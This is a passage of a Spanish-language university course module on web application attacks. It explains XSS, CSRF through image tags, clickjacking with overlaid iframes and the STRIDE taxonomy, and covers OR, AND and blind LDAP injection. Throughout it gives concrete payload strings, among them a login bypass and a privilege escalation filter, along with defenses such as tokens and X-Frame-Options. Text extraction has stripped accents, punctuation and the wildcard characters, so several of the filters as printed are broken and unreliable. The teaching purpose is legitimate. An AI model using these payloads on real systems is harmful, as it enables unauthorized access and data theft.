te podriacutean parecer dos casos distintos al final pueden ser resueltos de la

misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al

ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-

ver cuando se desplaza el cursor por encima OnClick cuando se hace clic

sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro

coacutedigo

ltinput type=text name=buacutesqueda value=

OnFocus=alert(Hola Mundo) gt

bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar

Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor

sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas

para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no

en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en

la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica

ni llegar a conocer todos los entresijos de la misma sino que el atacante

deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-

digo XSS

12 Cross Site Request Forgery (CSRF)

Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas

concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es

el cross site request forgery (CSRF)

El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice

acciones no deseadas en dominios remotos Se basa en la idea de apro-

vechar la persistencia de sesiones entre las pestantildeas de un navegador

Vamos a analizar con un ejemplo hipoteacutetico para entenderla

El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF

Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-

CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web

minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente

En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada

httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes

Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado

Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla

Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML

Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota

Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt

Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt

Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-

do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que

la imagen rota que se genera se le muestre al usuario

El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la

paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros

se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten

Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST

Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo

Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que

existan en la aplicacioacuten

CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web

Sin embargo y aunque establecieacutesemos como requisito indispensable que las

peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de

nuestra paacutegina ni de nuestros clientes

Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las

cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se

utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a

un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten

aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras

paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen

desde nuestro propio dominio

La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie

de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos

pueden ser establecidos como un CAPTCHA que el usuario debe introducir al

realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro

del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la

peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar

los datos de nuestros usuarios

Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos

tomar una serie de precauciones que intenten evitar un ataque mediante esta

teacutecnica Las medidas son

bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten

bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-

na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que

durante el tiempo de uso

bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas

Con esto nos aseguramos la independencia de las cookies de sesioacuten entre

navegadores

13 Clickjacking

Las teacutecnicas de clickjacking son una amenaza reciente para los navega-

dores y sus usuarios Se basan en engantildear a los usuarios para que ha-

gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean

voluntariamente

Esto se consigue superponiendo dos paacuteginas

CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web

bull Una la principal con la paacutegina donde queremos que realmente los usua-

rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-

lizar una transferencia

bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-

tenidos que sirvan de aliciente para que el usuario realice los clics en las

zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear

en determinadas zonas

Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-

tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra

paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a

ellos mediante Javascript son de posible uso para engantildear al usuario

1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y

que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten

falta para llevar a cabo esta teacutecnica

Figura 6 Paacutegina a secuestrar

2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo

exactamente en el lugar donde deseamos que el usuario engantildeado realice el

clic Esto se hace asiacute para asegurar que independientemente del navegador el

clic se ejecute sin problemas

CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web

Figura 7 IFRAME sobre el sitio original

3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-

tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear

alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el

clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina

original

Figura 8 Colocacioacuten del IFRAME para engantildear al usuario

CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web

Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah

Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-

sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase

una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a

traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-

racioacuten de seguridad del plugin como se puede observar en la siguiente imagen

Figura 9 Configuracioacuten de seguridad de Flash Player

Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-

gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para

interactuar con el servidor Es por eso por lo que algunos navegadores aportan

directamente protecciones contra esta teacutecnica

bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus

usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-

sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario

sea engantildeado para hacer clic sobre un elemento previamente falseado

CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web

Figura 10 Clickjacking bloqueado

bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-

ca que permite a los programadores web incluir una cabecera x-frame-op-

tions que si figura establecida como deny impide que la paacutegina que la en-

viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de

establecer el valor como sameorigin para permitir que uacutenicamente pueda

ser cargada si la peticioacuten se realiza desde el mismo dominio

Figura 11 IFRAME bloqueado desde Internet Explorer 8

bull En el resto de navegadores como GoogleChromeOperaSafarieInter-

netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten

y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos

tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-

gador

CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web

2 Ataques de inyeccioacuten de coacutedigo

Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet

Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten

puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante

Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma

geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un

tipo de ataque

1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita

a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de

ataque se usan de forma muy extendida en Internet a varios niveles

a) Nivel de enlace

Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones

de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en

servidores DHCP ( dynamic host configuration protocol)

b) Nivel de Red

bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-

tringidas a determinadas direcciones IP Se hicieron famosas en el ataque

a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo

directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo

desde un servidor con una direccioacuten IP en concreto

bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-

plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En

el caso del nivel de red el objetivo es controlar el socket mediante la su-

plantacioacuten del nuacutemero de secuencia

c) Nivel de Aplicacioacuten

bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima

crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-

ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de

envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-

cha del cumpleantildeosrdquo son utilizados para lograr este objetivo

bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que

hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta

teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten

CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web

mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-

nicas de suplantacioacuten de DNS

bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-

lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-

tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o

un paraacutemetro por GET o por POST

bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de

usurpar la identidad de un usuario para realizar las acciones en su lugar

2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-

nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten

Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-

dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor

de la misma

3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-

rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-

rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial

relevancia en entornos de anaacutelisis forense o sistemas contractuales

4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que

implica que un usuario no permitido acceda a informacioacuten o documentacioacuten

sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten

protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-

nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica

de Proteccioacuten de Datos (LOPD)

5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-

llas que interrumpen la continuidad de los procesos de negocio o servicio de

una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en

los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (

botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-

nicacioacuten de las empresas son objetivos de este tipo de ataques

6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario

puede cambiar su nivel de privilegios dentro de un sistema para acceder a

informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten

de privilegios es una vulnerabilidad que suele ser el origen de brechas que

conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten

A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la

implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-

taacuteneamente en varias de las categoriacuteas anteriores

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

